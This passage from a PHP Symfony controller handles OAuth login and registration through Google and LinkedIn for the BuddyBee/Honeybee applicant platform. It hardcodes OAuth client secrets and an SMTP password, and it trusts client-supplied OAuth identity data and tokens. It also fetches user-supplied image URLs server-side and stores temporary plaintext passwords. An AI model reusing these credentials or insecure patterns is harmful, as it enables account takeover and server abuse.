  7177.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7178.                     'selector' => $selector
  7179.                 ]
  7180.             );
  7181.         }
  7182.         return $this->render(
  7183.             '@Authentication/pages/views/applicant_login.html.twig',
  7184.             [
  7185.                 'page_title' => 'Applicant Registration',
  7186.                 'oAuthLink' => $google_client->createAuthUrl(),
  7187.                 'redirect_url' => $url,
  7188.                 'encData' => $encData,
  7189.                 'message' => $message,
  7190.                 'errorField' => $errorField,
  7191.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7192.                 'selector' => $selector
  7193.             ]
  7194.         );
  7195.     }
  7196.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7197.     {
  7198.         $session $request->getSession();
  7199.         $email $request->getSession()->get('userEmail');
  7200.         $sessionUserId $request->getSession()->get('userId');
  7201.         $oAuthData = [];
  7202. //    $encData='';
  7203.         $em $this->getDoctrine()->getManager('company_group');
  7204.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7205.         $redirectRoute 'dashboard';
  7206.         if ($encData != '') {
  7207.             if ($encData == '8917922')
  7208.                 $redirectRoute 'apply_for_consultant';
  7209.         }
  7210.         if ($request->query->has('encData')) {
  7211.             $encData $request->query->get('encData');
  7212.             if ($encData == '8917922')
  7213.                 $redirectRoute 'apply_for_consultant';
  7214.         }
  7215.         $message '';
  7216.         $errorField '_NONE_';
  7217.         if ($request->query->has('message')) {
  7218.             $message $request->query->get('message');
  7219.         }
  7220.         if ($request->query->has('errorField')) {
  7221.             $errorField $request->query->get('errorField');
  7222.         }
  7223.         if ($request->request->has('oAuthData')) {
  7224.             $oAuthData $request->request->get('oAuthData', []);
  7225.         } else {
  7226.             $oAuthData = [
  7227.                 'email' => $request->request->get('email'''),
  7228.                 'uniqueId' => $request->request->get('uniqueId'''),
  7229.                 'oAuthHash' => '_NONE_',
  7230.                 'image' => $request->request->get('image'''),
  7231.                 'emailVerified' => $request->request->get('emailVerified'''),
  7232.                 'name' => $request->request->get('name'''),
  7233.                 'firstName' => $request->request->get('firstName'''),
  7234.                 'lastName' => $request->request->get('lastName'''),
  7235.                 'type' => 1,
  7236.                 'token' => $request->request->get('oAuthtoken'''),
  7237.             ];
  7238.         }
  7239.         $isApplicantExist null;
  7240.         if ($email) {
  7241.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7242.                 $isApplicantExist $applicantRepo->findOneBy([
  7243.                     'applicantId' => $sessionUserId
  7244.                 ]);
  7245.             } else
  7246.                 return $this->redirectToRoute($redirectRoute);
  7247.         }
  7248.         $google_client = new Google_Client();
  7249. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7250. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7251.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7252.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7253.         } else {
  7254.             $url $this->generateUrl(
  7255.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7256.             );
  7257.         }
  7258.         $selector BuddybeeConstant::$selector;
  7259.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7260.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7261. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7262. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7263.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7264. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7265.         $google_client->setRedirectUri($url);
  7266.         $google_client->setAccessType('offline');        // offline access
  7267.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7268.         $google_client->addScope('email');
  7269.         $google_client->addScope('profile');
  7270.         $google_client->addScope('openid');
  7271. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7272.         //linked in 1st
  7273.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7274.             $curl curl_init();
  7275.             curl_setopt_array($curl, array(
  7276.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7277.                 CURLOPT_HEADER => false,  // don't return headers
  7278.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7279.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7280.                 CURLOPT_ENCODING => "",     // handle compressed
  7281.                 CURLOPT_USERAGENT => "test"// name of client
  7282.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7283.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7284.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7285.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7286.                 CURLOPT_USERAGENT => 'InnoPM',
  7287.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7288.                 CURLOPT_POST => 1,
  7289.                 CURLOPT_HTTPHEADER => array(
  7290.                     'Content-Type: application/x-www-form-urlencoded'
  7291.                 )
  7292.             ));
  7293.             $content curl_exec($curl);
  7294.             $contentArray = [];
  7295.             curl_close($curl);
  7296.             $token false;
  7297. //      return new JsonResponse(array(
  7298. //          'content'=>$content,
  7299. //          'contentArray'=>json_decode($content,true),
  7300. //
  7301. //      ));
  7302.             if ($content) {
  7303.                 $contentArray json_decode($contenttrue);
  7304.                 $token $contentArray['access_token'];
  7305.             }
  7306.             if ($token) {
  7307.                 $applicantInfo = [];
  7308.                 $curl curl_init();
  7309.                 curl_setopt_array($curl, array(
  7310.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7311.                     CURLOPT_HEADER => false,  // don't return headers
  7312.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7313.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7314.                     CURLOPT_ENCODING => "",     // handle compressed
  7315.                     CURLOPT_USERAGENT => "test"// name of client
  7316.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7317.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7318.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7319.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7320.                     CURLOPT_USERAGENT => 'InnoPM',
  7321.                     CURLOPT_HTTPGET => 1,
  7322.                     CURLOPT_HTTPHEADER => array(
  7323.                         'Authorization: Bearer ' $token,
  7324.                         'Header-Key-2: Header-Value-2'
  7325.                     )
  7326.                 ));
  7327.                 $userGeneralcontent curl_exec($curl);
  7328.                 curl_close($curl);
  7329.                 if ($userGeneralcontent) {
  7330.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7331.                 }
  7332.                 $curl curl_init();
  7333.                 curl_setopt_array($curl, array(
  7334.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7335.                     CURLOPT_HEADER => false,  // don't return headers
  7336.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7337.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7338.                     CURLOPT_ENCODING => "",     // handle compressed
  7339.                     CURLOPT_USERAGENT => "test"// name of client
  7340.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7341.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7342.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7343.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7344. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7345.                     CURLOPT_USERAGENT => 'InnoPM',
  7346.                     CURLOPT_HTTPGET => 1,
  7347.                     CURLOPT_HTTPHEADER => array(
  7348.                         'Authorization: Bearer ' $token,
  7349.                         'Header-Key-2: Header-Value-2'
  7350.                     )
  7351.                 ));
  7352.                 $userEmailcontent curl_exec($curl);
  7353.                 curl_close($curl);
  7354.                 $token false;
  7355.                 if ($userEmailcontent) {
  7356.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7357.                 }
  7358. //        $oAuthEmail = $applicantInfo['email'];
  7359. //        return new JsonResponse(array(
  7360. //          'userEmailcontent'=>$userEmailcontent,
  7361. //          'userGeneralcontent'=>$userGeneralcontent,
  7362. //        ));
  7363. //        return new response($userGeneralcontent);
  7364.                 $oAuthData = [
  7365.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7366.                     'uniqueId' => $userGeneralcontent['id'],
  7367.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7368.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7369.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7370.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7371.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7372.                     'type' => 1,
  7373.                     'token' => $token,
  7374.                 ];
  7375.             }
  7376.         } else if (isset($_GET["code"])) {
  7377.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7378.             if (!isset($token['error'])) {
  7379.                 $google_client->setAccessToken($token['access_token']);
  7380.                 $google_service = new Google_Service_Oauth2($google_client);
  7381.                 $applicantInfo $google_service->userinfo->get();
  7382.                 $oAuthEmail $applicantInfo['email'];
  7383.                 $oAuthData = [
  7384.                     'email' => $applicantInfo['email'],
  7385.                     'uniqueId' => $applicantInfo['id'],
  7386.                     'image' => $applicantInfo['picture'],
  7387.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7388.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7389.                     'firstName' => $applicantInfo['givenName'],
  7390.                     'lastName' => $applicantInfo['familyName'],
  7391.                     'type' => $token['token_type'],
  7392.                     'token' => $token['access_token'],
  7393.                 ];
  7394.             }
  7395.         } else if (isset($_GET["access_token"])) {
  7396.             $token $_GET["access_token"];
  7397.             $tokenType $_GET["token_type"];
  7398.             if (!isset($token['error'])) {
  7399.                 $google_client->setAccessToken($token);
  7400.                 $google_service = new Google_Service_Oauth2($google_client);
  7401.                 $applicantInfo $google_service->userinfo->get();
  7402.                 $oAuthEmail $applicantInfo['email'];
  7403.                 $oAuthData = [
  7404.                     'email' => $applicantInfo['email'],
  7405.                     'uniqueId' => $applicantInfo['id'],
  7406.                     'image' => $applicantInfo['picture'],
  7407.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7408.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7409.                     'firstName' => $applicantInfo['givenName'],
  7410.                     'lastName' => $applicantInfo['familyName'],
  7411.                     'type' => $tokenType,
  7412.                     'token' => $token,
  7413.                 ];
  7414.             }
  7415.         }
  7416.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7417.             // Multi-email aware, injection-safe (2026-07-04 fix): match the OAuth email against ANY
  7418.             // tagged email (comma list, email OR oAuthEmail). Replaces exact single-value findOneBy
  7419.             // + a hand-rolled comma-LIKE that interpolated the email into SQL and false-matched.
  7420.             $isApplicantExist = \ApplicationBundle\Helper\ApplicantEmailResolver::findOneByAnyEmail($em$oAuthData['email']);
  7421.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7422.                 $isApplicantExist $applicantRepo->findOneBy([
  7423.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7424.                 ]);
  7425.             }
  7426.             if ($isApplicantExist) {
  7427.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7428.                 } else
  7429.                     return $this->redirectToRoute("core_login", [
  7430.                         'id' => $isApplicantExist->getApplicantId(),
  7431.                         'oAuthData' => $oAuthData,
  7432.                         'encData' => $encData,
  7433.                         'locale' => $request->request->get('locale''en'),
  7434.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7435.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7436.                     ]);
  7437.             } else {
  7438.                 $fname $oAuthData['firstName'];
  7439.                 $lname $oAuthData['lastName'];
  7440.                 $img $oAuthData['image'];
  7441.                 $email $oAuthData['email'];
  7442.                 $oAuthEmail $oAuthData['email'];
  7443.                 $userName explode('@'$email)[0];
  7444.                 //now check if same username exists
  7445.                 $username_already_exist 1;
  7446.                 $initial_user_name $userName;
  7447.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7448.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7449.                     $isUsernameExist $applicantRepo->findOneBy([
  7450.                         'username' => $userName
  7451.                     ]);
  7452.                     if ($isUsernameExist) {
  7453.                         $username_already_exist 1;
  7454.                         $userName $initial_user_name '' rand(3009987);
  7455.                     } else {
  7456.                         $username_already_exist 0;
  7457.                     }
  7458.                     $timeoutSafeCount--;
  7459.                 }
  7460.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7461.                     $currentUnixTimeStamp '';
  7462.                     $currentUnixTime = new \DateTime();
  7463.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7464.                     $userName $userName '' $currentUnixTimeStamp;
  7465.                 }
  7466.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7467.                 $charactersLength strlen($characters);
  7468.                 $length 8;
  7469.                 $password 0;
  7470.                 for ($i 0$i $length$i++) {
  7471.                     $password .= $characters[rand(0$charactersLength 1)];
  7472.                 }
  7473.                 $newApplicant = new EntityApplicantDetails();
  7474.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7475.                 $newApplicant->setEmail($email);
  7476.                 $newApplicant->setUserName($userName);
  7477.                 $newApplicant->setFirstname($fname);
  7478.                 $newApplicant->setLastname($lname);
  7479.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7480.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7481.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7482.                 $newApplicant->setAccountStatus(1);
  7483.                 $salt uniqid(mt_rand());
  7484.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7485.                 $newApplicant->setPassword($encodedPassword);
  7486.                 $newApplicant->setSalt($salt);
  7487.                 $newApplicant->setTempPassword($password);;
  7488. //                $newApplicant->setPassword($password);
  7489.                 $marker $userName '-' time();
  7490. //                $extension_here=$uploadedFile->guessExtension();
  7491. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7492. //                $path = $fileName;
  7493.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7494.                 if (!file_exists($upl_dir)) {
  7495.                     mkdir($upl_dir0777true);
  7496.                 }
  7497.                 $ch curl_init($img);
  7498.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7499.                 curl_setopt($chCURLOPT_FILE$fp);
  7500.                 curl_setopt($chCURLOPT_HEADER0);
  7501.                 curl_exec($ch);
  7502.                 curl_close($ch);
  7503.                 fclose($fp);
  7504.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7505. //                $newApplicant->setImage($img);
  7506.                 $newApplicant->setIsConsultant(0);
  7507.                 $newApplicant->setIsTemporaryEntry(0);
  7508.                 $newApplicant->setApplyForConsultant(0);
  7509.                 $em->persist($newApplicant);
  7510.                 $em->flush();
  7511.                 $isApplicantExist $newApplicant;
  7512.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7513.                     if ($systemType == '_BUDDYBEE_') {
  7514.                         $bodyHtml '';
  7515.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7516.                         $bodyData = array(
  7517.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7518.                             'email' => $userName,
  7519.                             'password' => $newApplicant->getPassword(),
  7520.                         );
  7521.                         $attachments = [];
  7522.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7523. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7524.                         $new_mail $this->get('mail_module');
  7525.                         $new_mail->sendMyMail(array(
  7526.                             'senderHash' => '_CUSTOM_',
  7527.                             //                        'senderHash'=>'_CUSTOM_',
  7528.                             'forwardToMailAddress' => $forwardToMailAddress,
  7529.                             'subject' => 'Welcome to BuddyBee ',
  7530. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7531.                             'attachments' => $attachments,
  7532.                             'toAddress' => $forwardToMailAddress,
  7533.                             'fromAddress' => 'registration@buddybee.eu',
  7534.                             'userName' => 'registration@buddybee.eu',
  7535.                             'password' => 'Y41dh8g0112',
  7536.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7537.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7538.                             'encryptionMethod' => 'ssl',
  7539. //                            'emailBody' => $bodyHtml,
  7540.                             'mailTemplate' => $bodyTemplate,
  7541.                             'templateData' => $bodyData,
  7542. //                        'embedCompanyImage' => 1,
  7543. //                        'companyId' => $companyId,
  7544. //                        'companyImagePath' => $company_data->getImage()
  7545.                         ));
  7546.                     } else {
  7547.                         $bodyHtml '';
  7548.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7549.                         $bodyData = array(
  7550.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7551.                             'email' => 'APP-' $userName,
  7552.                             'password' => $newApplicant->getPassword(),
  7553.                         );
  7554.                         $attachments = [];
  7555.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7556. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7557.                         $new_mail $this->get('mail_module');
  7558.                         $new_mail->sendMyMail(array(
  7559.                             'senderHash' => '_CUSTOM_',
  7560.                             //                        'senderHash'=>'_CUSTOM_',
  7561.                             'forwardToMailAddress' => $forwardToMailAddress,
  7562.                             'subject' => 'Applicant Registration on Honeybee',
  7563. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7564.                             'attachments' => $attachments,
  7565.                             'toAddress' => $forwardToMailAddress,
  7566.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7567.                             'userName' => 'accounts@ourhoneybee.eu',
  7568.                             'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  7569.                             'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  7570.                             'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  7571.                             'encryptionMethod' => 'ssl',
  7572. //                            'emailBody' => $bodyHtml,
  7573.                             'mailTemplate' => $bodyTemplate,
  7574.                             'templateData' => $bodyData,
  7575. //                        'embedCompanyImage' => 1,
  7576. //                        'companyId' => $companyId,
  7577. //                        'companyImagePath' => $company_data->getImage()
  7578.                         ));
  7579.                     }
  7580.                 }
  7581.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7582.                 } else {
  7583.                     return $this->redirectToRoute("core_login", [
  7584.                         'id' => $newApplicant->getApplicantId(),
  7585.                         'oAuthData' => $oAuthData,
  7586.                         'encData' => $encData,
  7587.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7588.                         'locale' => $request->request->get('locale''en'),
  7589.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7590.                     ]);
  7591.                 }
  7592.             }
  7593.         }
  7594.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7595.             if ($isApplicantExist) {
  7596.                 $user $isApplicantExist;
  7597.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7598.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7599.                 $globalId $user->getApplicantId();
  7600.                 $gocList $em
  7601.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7602.                     ->findBy(
  7603.                         array(//                        'active' => 1
  7604.                         )
  7605.                     );
  7606.                 $gocDataList = [];
  7607.                 $gocDataListForLoginWeb = [];
  7608.                 $gocDataListByAppId = [];
  7609.                 foreach ($gocList as $entry) {
  7610.                     $d = array(
  7611.                         'name' => $entry->getName(),
  7612.                         'image' => $entry->getImage(),
  7613.                         'id' => $entry->getId(),
  7614.                         'appId' => $entry->getAppId(),
  7615.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7616.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7617.                         'dbName' => $entry->getDbName(),
  7618.                         'dbUser' => $entry->getDbUser(),
  7619.                         'dbPass' => $entry->getDbPass(),
  7620.                         'dbHost' => $entry->getDbHost(),
  7621.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7622.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7623.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7624.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7625.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7626.                     );
  7627.                     $gocDataList[$entry->getId()] = $d;
  7628.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7629.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7630.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7631.                 }
  7632.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7633.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7634.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7635.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7636.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7637.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7638.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7639.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7640.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7641.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7642.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7643.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7644.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7645.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7646.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7647.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7648.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7649.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7650.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7651.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7652.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7653.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7654.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7655.                     $session->set('userCompanyVibrantList'json_encode([]));
  7656.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7657.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7658.                     $session->set(UserConstants::USER_APP_ID0);
  7659.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7660.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7661.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7662.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7663.                     $session->set(UserConstants::USER_GOC_ID0);
  7664.                     $session->set(UserConstants::USER_DB_NAME'');
  7665.                     $session->set(UserConstants::USER_DB_USER'');
  7666.                     $session->set(UserConstants::USER_DB_PASS'');
  7667.                     $session->set(UserConstants::USER_DB_HOST'');
  7668.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7669.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7670.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7671.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7672.                     $session->set('locale'$request->request->get('locale'''));
  7673.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7674.                     $route_list_array = [];
  7675.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7676.                     $loginID 0;
  7677.                     $loginID MiscActions::addEntityUserLoginLog(
  7678.                         $em,
  7679.                         $session->get(UserConstants::USER_ID),
  7680.                         $session->get(UserConstants::USER_ID),
  7681.                         1,
  7682.                         $request->server->get("REMOTE_ADDR"),
  7683.                         0,
  7684.                         $request->request->get('deviceId'''),
  7685.                         $request->request->get('oAuthToken'''),
  7686.                         $request->request->get('oAuthType'''),
  7687.                         $request->request->get('locale'''),
  7688.                         $request->request->get('firebaseToken''')
  7689.                     );
  7690.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7691.                     $session_data = array(
  7692.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7693.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7694.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7695.                         'oAuthToken' => $session->get('oAuthToken'),
  7696.                         'locale' => $session->get('locale'),
  7697.                         'firebaseToken' => $session->get('firebaseToken'),
  7698.                         'token' => $session->get('token'),
  7699.                         'firstLogin' => 0,
  7700.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7701.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7702.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7703.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7704.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7705.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7706.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7707.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7708.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7709.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7710.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7711.                         'oAuthImage' => $session->get('oAuthImage'),
  7712.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7713.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7714.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7715.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7716.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7717.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7718.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7719.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7720.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7721.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7722.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7723.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7724.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7725.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7726.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7727.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7728.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7729.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7730.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7731.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7732.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
